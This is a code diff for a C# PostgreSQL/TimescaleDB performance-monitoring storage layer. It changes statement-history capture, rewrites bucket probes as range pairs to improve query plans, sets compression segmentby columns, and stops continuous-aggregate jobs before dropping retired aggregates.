+                insert.Parameters.Add(new NpgsqlParameter { Value = captureTime, NpgsqlDbType = NpgsqlDbType.Timestamp });
+                await insert.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            long? dealloc = epoch == Epoch.SameEpoch && currentDealloc is { } d && previousDealloc is { } p && d >= p ? d - p : null;
+            var outcome = epoch == Epoch.Rebaseline ? OutcomeRebaselined : OutcomeOk;
+            await InsertCaptureAsync(connection, transaction, captureTime, interval, currentReset, currentDealloc, dealloc, seen, kept, hidden, outcome, cancellationToken);
+            result = new SnapshotResult(outcome, seen, kept, hidden);
+        }
+
+        foreach (var sql in new[] { HistoryRetentionDeleteSql, CaptureRetentionDeleteSql })
+        {
+            await using var purge = Command(connection, transaction, sql);
+            purge.Parameters.Add(new NpgsqlParameter { Value = cutoff, NpgsqlDbType = NpgsqlDbType.Timestamp });
+            await purge.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+        logger?.LogDebug(
+            "Store statement history: {Outcome}, {Seen} active statement(s), {Kept} kept, {Hidden} hidden.",
+            result.Outcome, result.StatementsSeen, result.StatementsKept, result.HiddenStatements);
+        return result;
+    }
+
+    private static NpgsqlCommand Command(NpgsqlConnection connection, NpgsqlTransaction transaction, string sql) =>
+        new(sql, connection, transaction) { CommandTimeout = SnapshotTimeoutSeconds };
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, NpgsqlTransaction transaction, string sql, CancellationToken cancellationToken)
+    {
+        await using var command = Command(connection, transaction, sql);
+        return await command.ExecuteScalarAsync(cancellationToken);
+    }
+
+    private static async Task InsertCaptureAsync(
+        NpgsqlConnection connection,
+        NpgsqlTransaction transaction,
+        DateTime captureTime,
+        int? intervalSeconds,
+        DateTime? statsReset,
+        long? dealloc,
+        long? deallocDelta,
+        int seen,
+        int kept,
+        int hidden,
+        string outcome,
+        CancellationToken cancellationToken)
+    {
+        await using var command = Command(connection, transaction, CaptureInsertSql);
+        command.Parameters.Add(new NpgsqlParameter { Value = captureTime, NpgsqlDbType = NpgsqlDbType.Timestamp });
+        command.Parameters.Add(new NpgsqlParameter { Value = (object?)intervalSeconds ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Integer });
+        command.Parameters.Add(new NpgsqlParameter { Value = (object?)statsReset ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Timestamp });
+        command.Parameters.Add(new NpgsqlParameter { Value = (object?)dealloc ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Bigint });
+        command.Parameters.Add(new NpgsqlParameter { Value = (object?)deallocDelta ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Bigint });
+        command.Parameters.Add(new NpgsqlParameter { Value = seen, NpgsqlDbType = NpgsqlDbType.Integer });
+        command.Parameters.Add(new NpgsqlParameter { Value = kept, NpgsqlDbType = NpgsqlDbType.Integer });
+        command.Parameters.Add(new NpgsqlParameter { Value = hidden, NpgsqlDbType = NpgsqlDbType.Integer });
+        command.Parameters.Add(new NpgsqlParameter { Value = outcome, NpgsqlDbType = NpgsqlDbType.Text });
+        await command.ExecuteNonQueryAsync(cancellationToken);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/StoreStatementStats.cs b/Darling/PerformanceMonitor.Darling.Storage/StoreStatementStats.cs
index 6f77927af2..0c3dabdc39 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/StoreStatementStats.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/StoreStatementStats.cs
@@ -256,7 +256,7 @@ public static string BuildFunctionSql(string configSchema, string extensionSchem
             WHEN s.query IS NULL THEN NULL
             WHEN s.query = {QuoteLiteral(InsufficientPrivilegeText)} THEN s.query
             WHEN s.query ~* {QuoteLiteral(ReadableStatementPattern)}
-             AND s.query !~* {QuoteLiteral(SensitiveStatementPattern)}
+             AND s.query !~* {RegexOperand(SensitiveStatementPattern)}
              AND NOT (pg_catalog.current_setting('server_version_num')::integer < 160000
                       AND s.query ~* {QuoteLiteral(SelectIntoPattern)}) THEN s.query
             ELSE {QuoteLiteral(WithheldText)}
@@ -662,6 +662,19 @@ private static string QuoteIdentifier(string identifier)
         return "\"" + identifier.Replace("\"", "\"\"", StringComparison.Ordinal) + "\"";
     }
 
+    /// <summary>
+    /// A regular expression as the right-hand side of <c>~*</c> / <c>!~*</c> in DDL, with its text hex-encoded
+    /// and decoded by the server (an InitPlan, so once per call). The reader function is a utility statement, and
+    /// pg_stat_statements records a utility statement's body as typed while <c>track_utility</c> is on; the shared
+    /// statement filter names a few procedure and function names on their own (the keyword-only alternatives), so
+    /// a body that carried the pattern as a literal was named by the very pattern it carries. Every pass then
+    /// re-created the function, recorded it, and removed it again with the removal step's warning
+    /// (#5320). Hex digits spell none of the filter's words, so the recorded text stays clean whatever the pattern
+    /// holds, and the regular expression the function evaluates is byte-identical to the shared one.
+    /// </summary>
+    private static string RegexOperand(string pattern) =>
+        $"(SELECT pg_catalog.convert_from(pg_catalog.decode('{Convert.ToHexStringLower(Encoding.UTF8.GetBytes(pattern))}', 'hex'), 'UTF8'))";
+
     private static string QuoteLiteral(string value)
     {
         var builder = new StringBuilder(value.Length + 2);
diff --git a/Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs b/Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs
index 22810016f0..9decbbf0b9 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs
@@ -276,9 +276,10 @@ public static string MaterializationHoleSourceFilterFor(string createSql)
     /// <summary>
     /// The scan, for one aggregate: every bucket in <c>[$1, $2]</c> at <c>$3</c> width that the materialization
     /// hypertable holds NO row for and the source holds at least one row for that the aggregate's own filter
-    /// admits. Two correlated <c>EXISTS</c> probes per bucket, each an index range on a relation whose time index
-    /// TimescaleDB creates by default (the source's <c>&lt;time&gt;_idx</c>, the materialization's
-    /// <c>bucket_idx</c>), so cost follows the number of buckets scanned and not the size of either table.
+    /// admits. Two correlated <c>EXISTS</c> probes per bucket. Each can be an index range on a relation whose time
+    /// index TimescaleDB creates by default (the source's <c>&lt;time&gt;_idx</c>, the materialization's
+    /// <c>bucket_idx</c>), so cost follows the number of buckets scanned and not the size of either table; whether
+    /// the planner USES the materialization's index is the question the #5521 paragraph below answers.
     /// <paramref name="materialization"/> is the aggregate's materialization hypertable
     /// (<see cref="ResolveMaterializationAsync"/>), read directly so a real-time aggregate's un-materialized
     /// tail does not count as covered. Ordered oldest first, the order the cap consumes.
@@ -297,6 +298,37 @@ public static string MaterializationHoleSourceFilterFor(string createSql)
     /// a SubPlan once per bucket with the chunk it needs picked at run time. The candidate buckets are fenced the
     /// same way, so the source is probed only for the buckets the materialization probe found empty. Measured
     /// with the old text as the oracle: the same buckets, in the same order, on every target.</para>
+    ///
+    /// <para><b>The materialization probe is a range pair, not an equality (#5521).</b> Every materialization has
+    /// the default <c>bucket_idx</c> (<c>bucket DESC</c>), and the probe with <c>m.bucket = b.bucket</c> still did a
+    /// Seq Scan of a whole uncompressed chunk for a bucket the chunk lacked: 240,137 blocks, 11.2 s, on a field
+    /// store's daily Query Store interval rollup, 23 times in 13 days. A chunk with few distinct bucket values
+    /// has a large <c>1/n_distinct</c> (one value: <c>n_distinct = 1</c> and a most-common-value frequency of 1),
+    /// so <c>bucket = $param</c> is estimated to match a large share of the chunk, up to every row, and a SubPlan
+    /// under <c>EXISTS</c> is costed for its FIRST row: a sequential scan expected to hit a match at once costs
+    /// next to nothing, so it beats the index. The estimate is wrong exactly when the bucket is missing, and a
+    /// missing bucket is what this scan looks for. Written as <c>m.bucket &gt;= b.bucket AND m.bucket &lt;=
+    /// b.bucket</c> the probe is the same set of rows for a <c>timestamp</c> (and TimescaleDB still excludes
+    /// chunks at run time and pushes the pair into a compressed chunk's min/max metadata), but PostgreSQL cannot
+    /// read a range with two non-constant bounds off the statistics and uses its flat default of 0.5% of the
+    /// rows, whatever the bucket values look like. The first-row cost of the index then wins by a wide margin on
+    /// a big chunk, and a missing bucket costs one index seek instead of a chunk read. Measured on a rig shaped
+    /// like the field chunk (default compression, heap pages not all-visible), for one missing bucket: an
+    /// uncompressed chunk of 600 K rows over 6 bucket values, 31,773 blocks before and 297 after; an
+    /// uncompressed chunk of 100 K rows over one bucket value, 5,184 before and 89 after.</para>
+    ///
+    /// <para><b>Why not bound the probe by <c>server_id</c> instead (the issue's fix direction).</b> Measured on
+    /// the same rig and kept out: <c>server_id = ANY(ids) AND bucket = $param</c> is still estimated to match
+    /// every row, so the planner kept the Seq Scan (24,765 blocks for the same bucket); with the range pair added
+    /// it seeks, but the list of every <c>server_id</c> in the materialization, read in the same statement so the
+    /// answer stays exact, costs a seek per server per chunk (3,275 blocks for a window with no hole, against
+    /// 304), which grows with the chunk count and so cannot be bought back on a store with a year of daily
+    /// chunks. The range pair alone needs no list, no per-target index check and no fallback, and the
+    /// Query Store interval hourly rollup's materialization, which has no <c>server_id</c> index, takes it too.
+    /// The compressed chunks cost what they did (a scan of the compressed heap with the min/max filter; 82
+    /// blocks against 88 on the rig, 24.6 ms on the field store). "Walk forward from the oldest hole" is not
+    /// needed either: once a missing bucket costs a seek, the scan's cost follows the number of buckets and
+    /// not the size of the chunks.</para>
     /// </summary>
     public static string MaterializationHoleScanSql(MaterializationHoleTarget target, (string Schema, string Name) materialization)
     {
@@ -308,7 +340,7 @@ SELECT c.bucket
 FROM (
     SELECT b.bucket
     FROM generate_series($1::timestamp, $2::timestamp, $3::interval) AS b(bucket)
-    WHERE NOT EXISTS (SELECT 1 FROM {QuoteIdentifier(materialization.Schema)}.{QuoteIdentifier(materialization.Name)} AS m WHERE m.bucket = b.bucket OFFSET 0)
+    WHERE NOT EXISTS (SELECT 1 FROM {QuoteIdentifier(materialization.Schema)}.{QuoteIdentifier(materialization.Name)} AS m WHERE m.bucket >= b.bucket AND m.bucket <= b.bucket OFFSET 0)
     OFFSET 0
 ) AS c
 WHERE EXISTS (
@@ -367,11 +399,14 @@ private static string LegacySuccessorHoleBodySql(
 
         var filterClause = sourceFilter.Length == 0 ? string.Empty : $"\n        AND   {sourceFilter}";
 
+        /* The two bucket probes are range pairs, not equalities, for the reason in MaterializationHoleScanSql's
+           #5521 paragraph: an equality against the outer bucket is estimated from n_distinct, and a chunk with few
+           distinct bucket values (an upgraded store's wide hourly chunks) gets a Seq Scan for a missing bucket. */
         return $@"
     SELECT hb.bucket
     FROM generate_series({fromExpr}, {toExpr}, {bucketWidthLiteral}) AS hb(bucket)
-    WHERE NOT EXISTS (SELECT 1 FROM collect.{legacy} AS hl WHERE hl.bucket = hb.bucket OFFSET 0)
-    AND   NOT EXISTS (SELECT 1 FROM collect.{successor} AS hs WHERE hs.bucket = hb.bucket OFFSET 0)
+    WHERE NOT EXISTS (SELECT 1 FROM collect.{legacy} AS hl WHERE hl.bucket >= hb.bucket AND hl.bucket <= hb.bucket OFFSET 0)
+    AND   NOT EXISTS (SELECT 1 FROM collect.{successor} AS hs WHERE hs.bucket >= hb.bucket AND hs.bucket <= hb.bucket OFFSET 0)
     AND   EXISTS (
               SELECT 1 FROM collect.{relation} AS hr
               WHERE hr.{sourceTimeColumn} >= hb.bucket
diff --git a/Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs b/Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs
index 70aaf875ce..58eecc2b47 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs
@@ -7,15 +7,16 @@
  */
 
 using System;
+using System.Collections.Concurrent;
 using System.Collections.Generic;
 using System.Diagnostics;
 using System.Globalization;
 using System.Linq;
-using System.Runtime.CompilerServices;
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
 using Npgsql;
+using NpgsqlTypes;
 using PerformanceMonitor.Collectors;
 
 namespace PerformanceMonitor.Darling.Storage;
@@ -294,17 +295,63 @@ public static string EnableCompressionSql(ICollectorSchemaInfo schema)
     /// <summary>The raw-name compression-enable overload — the collection_log path (see
     /// <see cref="CreateHypertableSql(string, string)"/>).</summary>
     public static string EnableCompressionSql(string table)
-        => $"ALTER TABLE {table} SET (timescaledb.compress, timescaledb.compress_segmentby = '{CompressionSegmentByColumn}')";
+        => $"ALTER TABLE {table} SET (timescaledb.compress, timescaledb.compress_segmentby = '{CompressionSegmentByFor(table)}')";
 
     /// <summary>
     /// The segmentby column every collector hypertable compresses on. Promoted to a constant by #3817 so the
     /// statement above and the catalog comparison that decides whether to ISSUE it
     /// (<see cref="ReadTablesNeedingCompressionEnableAsync"/>) read the same name: a guard that skipped the
     /// ALTER by comparing against a second spelling of this would be exactly as wrong as no guard, and
-    /// silently so.
+    /// silently so. Both halves now read it through <see cref="CompressionSegmentByFor"/>, because
+    /// collection_log has its own value (#4951).
     /// </summary>
     public const string CompressionSegmentByColumn = "server_id";
 
+    /// <summary>
+    /// collection_log's segmentby (#4951): by collector as well as by server. Its reads ask for one collector's
+    /// runs on one server (the event baselines' coverage reads, the per-collector health and history reads), and
+    /// with <c>server_id</c> alone every such read decompressed all of that server's collectors' runs to keep one
+    /// collector's. Spelled with ", " because <see cref="CompressionEnabledStateSql"/> joins the columns with the
+    /// same separator, so a converged store's setting reads back exactly as this statement wrote it.
+    /// </summary>
+    public const string CollectionLogSegmentBy = CompressionSegmentByColumn + ", collector_name";
+
+    /// <summary>The collector table the Performance Counters collector writes (the bare name, as
+    /// <c>hypertable_name</c> spells it).</summary>
+    public const string PerfmonStatsTable = "perfmon_stats";
+
+    /// <summary>
+    /// perfmon_stats's segmentby (#5574): by counter as well as by server. The one-counter trend read
+    /// (<c>get_perfmon_trend</c>, the Viewer's perfmon charts) filters <c>server_id = $1 AND counter_name = $2</c> and
+    /// nothing else by equality (its <c>object_name</c> test is a suffix match), and with <c>server_id</c> alone
+    /// every such read decompressed the counter and object names of every counter the server collects, to keep
+    /// one counter's rows (11.2 s cold on a large store, #5562). <c>object_name</c> and <c>instance_name</c> are
+    /// left out on purpose: no read asks for them by equality, and a finer grouping only adds batches that compress
+    /// worse. Spelled with ", " for the reason <see cref="CollectionLogSegmentBy"/> gives. The orderby is not set,
+    /// so it stays what the table already had (<c>collection_time DESC</c>).
+    /// </summary>
+    public const string PerfmonStatsSegmentBy = CompressionSegmentByColumn + ", counter_name";
+
+    /// <summary>
+    /// The segmentby the enable statement sets for <paramref name="table"/> and the convergence read compares
+    /// against: <see cref="CollectionLogSegmentBy"/> for collection_log, <see cref="PerfmonStatsSegmentBy"/> for
+    /// perfmon_stats (#5574), <see cref="CompressionSegmentByColumn"/> for every other table. Keyed by the bare
+    /// name, which is how <see cref="CollectionLogTable"/>, <see cref="PerfmonStatsTable"/> and the read's
+    /// <c>hypertable_name</c> spell it; a schema-qualified name (<c>collect.collection_log</c>) is matched by
+    /// its last part, so a statement built from that spelling sets the value the read compares against. One lookup
+    /// for both halves, for the reason <see cref="CompressionSegmentByColumn"/> gives.
+    /// </summary>
+    public static string CompressionSegmentByFor(string table)
+    {
+        var bare = table.AsSpan(table.LastIndexOf('.') + 1);
+        if (bare.Equals(CollectionLogTable, StringComparison.Ordinal))
+        {
+            return CollectionLogSegmentBy;
+        }
+
+        return bare.Equals(PerfmonStatsTable, StringComparison.Ordinal) ? PerfmonStatsSegmentBy : CompressionSegmentByColumn;
+    }
+
     /// <summary>
     /// One collector table's background compression policy — chunks older than
     /// <see cref="CompressAfterDays"/> compress automatically, checked every
@@ -1229,18 +1276,37 @@ public static Task<int> DropRetiredBaselineAggregatesAsync(
     /// <see cref="BaselineBackfillProbeSql"/> reasoning: <c>now()::timestamp</c> renders in the session zone,
     /// <c>bucket</c> is naive UTC, and PostgreSQL would compare the two without a word).
     /// </summary>
-    public static async Task<int> DropRetiredBaselineAggregatesAsync(
+    public static Task<int> DropRetiredBaselineAggregatesAsync(
         NpgsqlConnection connection, ILogger? logger, DateTime utcNow, CancellationToken cancellationToken = default)
+        => DropRetiredBaselineAggregatesAsync(connection, logger, utcNow, AggregateJobQuiesceOptions.Default, cancellationToken);
+
+    /// <summary>
+    /// The same sweep with the wait for a running job worker (#5551) set by the caller, which is how the live tests
+    /// reach the cap in a second instead of <see cref="AggregateJobQuiesceOptions.Default"/>'s thirty. Before each
+    /// drop of a continuous aggregate the sweep stops that aggregate's jobs and waits for a worker already running
+    /// (<see cref="QuiesceContinuousAggregateJobsAsync"/>); if the worker outlasts the cap the aggregate is skipped
+    /// this pass, and if the drop fails its jobs are scheduled again. A plain-PostgreSQL store and a plain view have
+    /// no jobs, so this changes nothing for them.
+    /// </summary>
+    public static async Task<int> DropRetiredBaselineAggregatesAsync(
+        NpgsqlConnection connection, ILogger? logger, DateTime utcNow, AggregateJobQuiesceOptions quiesce,
+        CancellationToken cancellationToken = default)
     {
         if (connection is null)
         {
             throw new ArgumentNullException(nameof(connection));
         }
 
+        if (quiesce is null)
+        {
+            throw new ArgumentNullException(nameof(quiesce));
+        }
+
         var dropped = 0;
 
         foreach (var (legacy, successor) in SupersededBaselineRelations)
         {
+            var hold = AggregateJobHold.None;
             try
             {
                 var verdict = await JudgeSupersededBaselineRelationAsync(connection, legacy, successor, utcNow, cancellationToken);
@@ -1256,11 +1322,19 @@ public static async Task<int> DropRetiredBaselineAggregatesAsync(
                     continue;
                 }
 
+                /* #5551: stop the aggregate's jobs, and wait out a refresh already running, BEFORE the drop. */
+                hold = await QuiesceContinuousAggregateJobsAsync(connection, legacy, logger, quiesce, cancellationToken);
+                if (hold.Skip)
+                {
+                    continue;
+                }
+
                 using (var drop = new NpgsqlCommand(DropRetiredBaselineRelationSql(legacy), connection) { CommandTimeout = SetupTimeoutSeconds })
                 {
                     await drop.ExecuteNonQueryAsync(cancellationToken);
                 }
 
+                hold = AggregateJobHold.None;
                 dropped++;
                 logger?.LogInformation(
                     "Dropped superseded baseline relation {Legacy} (#3653) — {Reason}, so nothing reads it any more; its refresh, retention and compression jobs went with it.",
@@ -1271,16 +1345,33 @@ public static async Task<int> DropRetiredBaselineAggregatesAsync(
                             : "it held no rows through its own view (#4289) — an empty aggregate has no baseline history to protect, whatever its successor holds"
                         : $"its interval-honest successor {successor} exists and, like this plain view, reads raw directly");
             }
+            catch (OperationCanceledException) when (hold.Unscheduled.Count > 0)
+            {
+                /* Shutdown or the pass's budget while this aggregate's jobs are stopped: start them again (on a
+                   short grace of its own, not the cancelled token), then let the cancellation through as before. */
+                await ResumeContinuousAggregateJobsAsync(connection, hold.Unscheduled, legacy, logger);
+                throw;
+            }
             catch (Exception ex) when (ex is not OperationCanceledException)
             {
                 logger?.LogWarning(
                     "Could not judge or drop superseded baseline relation {Legacy} — it lingers (harmlessly, but materializing) until the next restart retries: {Message}",
                     legacy, ex.Message);
+
+                /* #5551: the aggregate stays, so its jobs go back to running. After the reopen, because a drop
+                   that broke the connection is the usual way to get here; if the reopen fails the log names them. */
+                if (!await ReopenAndResumeAfterFailedDropAsync(
+                        connection, hold, legacy, logger,
+                        "The retired-baseline sweep's connection broke and could not be reopened, so the rest of the sweep is skipped until the next pass retries it: {Message}", cancellationToken))
+                {
+                    return dropped;
+                }
             }
         }
 
         foreach (var view in RetiredBaselineRelations)
         {
+            var hold = AggregateJobHold.None;
             try
             {
                 bool existed;
@@ -1294,27 +1385,439 @@ public static async Task<int> DropRetiredBaselineAggregatesAsync(
                     continue;
                 }
 
+                /* #5551: stop the aggregate's jobs, and wait out a refresh already running, BEFORE the drop. */
+                hold = await QuiesceContinuousAggregateJobsAsync(connection, view, logger, quiesce, cancellationToken);
+                if (hold.Skip)
+                {
+                    continue;
+                }
+
                 using (var drop = new NpgsqlCommand(DropRetiredBaselineRelationSql(view), connection) { CommandTimeout = SetupTimeoutSeconds })
                 {
                     await drop.ExecuteNonQueryAsync(cancellationToken);
                 }
 
+                hold = AggregateJobHold.None;
                 dropped++;
                 logger?.LogInformation(
                     "Dropped retired baseline relation {View} (#2007) — the CPU/IO anomaly arms read the raw hypertables, so nothing consumed it.",
                     view);
             }
+            catch (OperationCanceledException) when (hold.Unscheduled.Count > 0)
+            {
+                await ResumeContinuousAggregateJobsAsync(connection, hold.Unscheduled, view, logger);
+                throw;
+            }
             catch (Exception ex) when (ex is not OperationCanceledException)
             {
                 logger?.LogWarning(
                     "Could not drop retired baseline relation {View} — it lingers (harmlessly, but materializing) until the next restart retries: {Message}",
                     view, ex.Message);
+                if (!await ReopenAndResumeAfterFailedDropAsync(
+                        connection, hold, view, logger,
+                        "The retired-baseline sweep's connection broke and could not be reopened, so the rest of the sweep is skipped until the next pass retries it: {Message}", cancellationToken))
+                {
+                    return dropped;
+                }
             }
         }
 
         return dropped;
     }
 
+    /// <summary>
+    /// #5551: how long a drop of a continuous aggregate waits for the aggregate's job workers to exit, and how
+    /// often it looks. See <see cref="Default"/> for the numbers and why they are what they are.
+    /// </summary>
+    /// <param name="Cap">The longest the drop waits for a running worker. At the cap, if the final look still lists
+    /// a worker, the aggregate's jobs are scheduled again and the drop is skipped; the next pass retries it. A final
+    /// look that lists none lets the drop go ahead. A zero cap is one look.</param>
+    /// <param name="PollInterval">The gap between two looks at <c>pg_stat_activity</c>.</param>
+    public sealed record AggregateJobQuiesceOptions(TimeSpan Cap, TimeSpan PollInterval)
+    {
+        /// <summary>
+        /// The production values: a 30 second cap, polled every 250 ms.
+        ///
+        /// <para><b>Why 30 seconds.</b> Both sweeps run on the start path, serially, before the collectors start
+        /// (nothing collects while they wait), and again on the hourly store-maintenance pass, whose whole budget is
+        /// 5 minutes for every step (<c>DarlingWorker</c>'s <c>s_storeObjectConvergenceBudget</c>). A drop happens once
+        /// per store, on the pass that retires or reshapes that aggregate, and only a refresh that is ALREADY running
+        /// when the jobs are stopped is waited for (stopping the jobs first means no new one starts). TimescaleDB's
+        /// scheduler ends such a worker itself at its next wake (measured on 2.30.1: it wakes on a timer 5.005 s
+        /// apart, so that is anywhere from tens of milliseconds to about 5 s after the stop; it cancels the worker,
+        /// and terminates one that has not left 3 s later, so 8 s at most; the worker's refresh rolls back), and one
+        /// that finishes first is just as good, so the wait is a few seconds for the baseline and reshape
+        /// aggregates, which are small or only a day or two old. 30 seconds
+        /// covers that with room, and it is a cap a start can afford. The worst case is every
+        /// relation of both sweeps (two superseded, two retired, four reshaped = eight) stuck behind a running
+        /// worker, 8 x 30 s = 4 minutes, which still fits inside the hourly pass's 5. A longer cap would let a stuck
+        /// worker stall startup, or eat the hourly budget; a refresh that really does take longer costs nothing
+        /// to wait out on the next pass, because the aggregate is skipped, not dropped under a worker.</para>
+        ///
+        /// <para>250 ms is the gap between the two empty looks that end the wait: a worker the scheduler started
+        /// just before the jobs were stopped can still be starting up and not yet listed on the first look.</para>
+        /// </summary>
+        public static readonly AggregateJobQuiesceOptions Default = new(TimeSpan.FromSeconds(30), TimeSpan.FromMilliseconds(250));
+    }
+
+    /// <summary>
+    /// #5551: what <see cref="QuiesceContinuousAggregateJobsAsync"/> did to one aggregate's jobs:
+    /// <see cref="Unscheduled"/> is the ids it stopped (the ones that were scheduled; a job that was already
+    /// stopped is never in it, so it is never started again), and <see cref="Skip"/> says the drop must not run
+    /// this pass because a worker was still running at the cap (the jobs are already scheduled again).
+    /// </summary>
+    internal readonly record struct AggregateJobHold(IReadOnlyList<int> Unscheduled, bool Skip)
+    {
+        /// <summary>Nothing was stopped and nothing blocks the drop: no TimescaleDB, a plain view, or no jobs.</summary>
+        public static AggregateJobHold None => new(Array.Empty<int>(), false);
+    }
+
+    /// <summary>Whether this store has the TimescaleDB information views at all. A plain-PostgreSQL store does not,
+    /// and a statement naming them fails to parse there (<c>42P01</c>), so the jobs are only looked up when this
+    /// says so (the same <c>to_regclass</c> probe the drop statements themselves use).</summary>
+    public const string ContinuousAggregateJobsProbeSql =
+        "SELECT to_regclass('timescaledb_information.continuous_aggregates') IS NOT NULL AND to_regclass('timescaledb_information.jobs') IS NOT NULL";
+
+    /// <summary>
+    /// #5551: every job of one continuous aggregate in <c>collect</c>, AND of every aggregate built on it (a
+    /// hierarchical daily tier), because <c>DROP MATERIALIZED VIEW ... CASCADE</c> drops those too and a refresh of
+    /// the daily one running under the CASCADE is the same race. <c>$1</c> the view name, bound as a parameter. The
+    /// join matches EITHER identity a job can report, exactly as <see cref="ContinuousAggregateRefreshStateSql"/>
+    /// does (<c>timescaledb_information.jobs</c> reports a continuous aggregate's refresh, compression and
+    /// retention jobs under the user view; the materialization hypertable is the other name a job can carry), and
+    /// the two are disjoint, so a job is listed once. A dependent aggregate reports the PARENT's materialization
+    /// hypertable as its source (<c>hypertable_name</c>), which is how the recursive part finds it. Returns the
+    /// job id and whether it is scheduled NOW; no row for a plain view or an absent relation.
+    /// </summary>
+    public const string ContinuousAggregateJobsSql = @"
+WITH RECURSIVE aggregates AS (
+    SELECT ca.view_schema, ca.view_name,
+           ca.materialization_hypertable_schema AS mat_schema,
+           ca.materialization_hypertable_name AS mat_name
+    FROM timescaledb_information.continuous_aggregates AS ca
+    WHERE ca.view_schema = 'collect'
+    AND   ca.view_name = $1::text
+    UNION
+    SELECT child.view_schema, child.view_name,
+           child.materialization_hypertable_schema,
+           child.materialization_hypertable_name
+    FROM timescaledb_information.continuous_aggregates AS child
+    JOIN aggregates AS parent
+      ON  child.hypertable_schema = parent.mat_schema
+      AND child.hypertable_name = parent.mat_name
+)
+SELECT DISTINCT j.job_id, j.scheduled
+FROM timescaledb_information.jobs AS j
+JOIN aggregates AS a
+  ON  (a.view_schema = j.hypertable_schema AND a.view_name = j.hypertable_name)
+  OR  (a.mat_schema = j.hypertable_schema AND a.mat_name = j.hypertable_name)
+ORDER BY j.job_id";
+
+    /// <summary>
+    /// #5551: stops jobs, by id. <c>$1</c> an <c>integer[]</c> of job ids (<c>alter_job</c> takes <c>INTEGER</c>, the
+    /// #1586 trap), read back through <c>timescaledb_information.jobs</c> so an id that vanished in the meantime is
+    /// skipped instead of raising. One statement, so the jobs stop together or not at all. Only <c>scheduled</c> is
+    /// named: every other <c>alter_job</c> argument left out means "unchanged".
+    /// </summary>
+    public const string UnscheduleJobsSql =
+        "SELECT alter_job(j.job_id, scheduled => false) FROM timescaledb_information.jobs AS j WHERE j.job_id = ANY($1::integer[])";
+
+    /// <summary>#5551: the inverse of <see cref="UnscheduleJobsSql"/>, given only the ids that statement stopped.</summary>
+    public const string RescheduleJobsSql =
+        "SELECT alter_job(j.job_id, scheduled => true) FROM timescaledb_information.jobs AS j WHERE j.job_id = ANY($1::integer[])";
+
+    /// <summary>
+    /// #5551: how many backends of THIS database are running one of the given jobs. A TimescaleDB job worker's
+    /// <c>backend_type</c> is the job's type and its id, e.g. <c>Refresh Continuous Aggregate Policy [1232]</c>, so
+    /// the id is matched as the trailing <c>" [id]"</c> (the type text varies by job, the id does not). Job ids are
+    /// per database, hence <c>current_database()</c>. <c>$1</c> an <c>integer[]</c>.
+    /// </summary>
+    public const string AggregateJobWorkerCountSql = @"
+SELECT count(*)
+FROM pg_stat_activity AS a
+WHERE a.datname = current_database()
+AND   EXISTS (SELECT 1 FROM unnest($1::integer[]) AS id WHERE a.backend_type LIKE '% [' || id::text || ']')";
+
+    /// <summary>
+    /// #5551: makes the drop of one continuous aggregate safe from its own jobs, before the drop runs. A refresh
+    /// (or compression, or retention) worker running when <c>DROP MATERIALIZED VIEW ... CASCADE</c> lands makes the
+    /// drop fail with <c>XX000: tuple concurrently deleted</c> (#5416), and is the inferred cause of a PostgreSQL
+    /// backend crash seen in CI (#5549). The same order the test harness uses before it drops a scratch database:
+    /// <list type="number">
+    /// <item><description>find the aggregate's jobs (<see cref="ContinuousAggregateJobsSql"/>);</description></item>
+    /// <item><description>stop the ones that are scheduled now (<see cref="UnscheduleJobsSql"/>) and remember which;
+    /// a job already stopped is left stopped, and never started again;</description></item>
+    /// <item><description>wait until two looks in a row (<see cref="AggregateJobWorkerCountSql"/>) show no worker
+    /// of ANY of the aggregate's jobs, stopped or not, for at most <see cref="AggregateJobQuiesceOptions.Cap"/>;</description></item>
+    /// <item><description>at the cap, if the final look still lists a worker: schedule the stopped jobs again, warn,
+    /// and return <see cref="AggregateJobHold.Skip"/> so the caller leaves this aggregate alone until the next
+    /// pass. A final look that lists none lets the drop go ahead.</description></item>
+    /// </list>
+    /// <para><b>This method does not cancel or terminate a backend itself, but stopping a job makes TimescaleDB's
+    /// scheduler end that job's running worker</b> (measured on TimescaleDB 2.30.1: at the scheduler's next wake,
+    /// which comes every 5.005 s, so from tens of milliseconds to about 5 s after the stop; it cancels the worker and
+    /// terminates it if it has not left 3 s later). The refresh then rolls back, which is harmless to the data, the server log records the worker's error
+    /// ("job N threw an error"), and the job's statistics record one failed run (<c>total_failures</c> + 1,
+    /// <c>last_run_status</c> = Failed). After a successful drop the job and its statistics row are gone with the
+    /// aggregate; on the skip and failed-drop paths the job stays, scheduled again, with that failure on its record
+    /// until its next run succeeds (the #3816 job-failure alert can report it once; see its doc). So the wait is
+    /// for the worker to exit, whether the scheduler ended it or it finished.</para>
+    /// A plain-PostgreSQL store, a plain view and an absent relation have no jobs, so this changes nothing and
+    /// returns <see cref="AggregateJobHold.None"/>. If the stop itself or anything after it throws (including a
+    /// cancellation, and a stop that committed but lost its connection) the stopped jobs are scheduled again, on a
+    /// grace of their own, before it propagates; if even that fails the log names the jobs and the view. So an
+    /// aggregate is not left stopped by this method without a log line that says which jobs.
+    /// The CALLER owns the jobs once it gets a hold back: it starts them again when the drop fails
+    /// (<see cref="ResumeContinuousAggregateJobsAsync"/>), and after a successful drop they are gone with the aggregate.
+    /// </summary>
